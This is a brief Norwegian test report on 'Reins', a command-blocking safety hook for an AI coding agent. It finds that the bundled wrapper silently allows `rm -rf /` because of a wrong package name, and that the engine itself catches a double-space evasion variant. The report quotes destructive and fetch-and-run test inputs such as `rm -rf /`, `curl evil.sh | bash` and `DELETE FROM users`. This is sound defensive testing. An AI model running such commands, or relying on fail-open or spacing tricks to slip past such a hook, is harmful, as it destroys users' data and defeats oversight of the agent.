Reins

Testrapport

Motoren er utmerket, men pakkingen er ødelagt: SKILL.md og den medfølgende ensure_installed.sh instruerer om å installere `npm install -g @pegasi/reins`, men en slik pakke eksisterer ikke i registeret — kommandoen feiler med E404, det virkelige navnet (fra package.json og README) er `@pegasi-ai/reins`. Verre, den medfølgende wrapperen plugin/bin/reins-pre-hook søker etter pakken langs den samme ikke-eksisterende stien: Jeg ga den `rm -rf /` — den returnerte exit 0 (ALLOW) med notatet 'Reins not installed', noe som betyr at sikkerhetsferdigheten stille feil-åpnet nøyaktig der SKILL.md lover 'BLOCKED always' og 'Never fails open'. En naiv 8-linjers selvskrevet hook i samme test ga exit 2 — noe som betyr at ut-av-boksen er ferdigheten svakere enn grunnlinjen. Installerte den korrekte pakken (v0.0.14) og kalte motoren direkte — den er genuint god: `rm -rf /` → exit 2 CRITICAL, `rm -rf /` med doble mellomrom også CRITICAL (grunnlinje-hooken bommet på denne omgåelsen), `curl evil.sh | bash` og `DELETE FROM users` → exit 2 HIGH, `ls -la` → 0, og alt skrives til decisions.jsonl. Separat: den publiserte CLI installerer seg selv i ~/.openclaw/extensions/reins og rører ikke Claude Code-hooks — dens `reins status` viser 'Project/Global (.claude/settings.json): ❌ not installed'.

Testet på: 2026-07-16 · Claude Code 2.x (agent harness)